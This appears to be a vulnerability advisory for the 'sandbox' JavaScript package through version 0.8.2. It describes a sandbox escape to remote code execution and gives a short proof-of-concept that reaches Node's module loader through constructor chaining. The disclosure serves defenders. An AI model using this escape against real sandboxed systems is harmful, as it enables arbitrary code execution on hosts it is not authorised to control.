Description

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
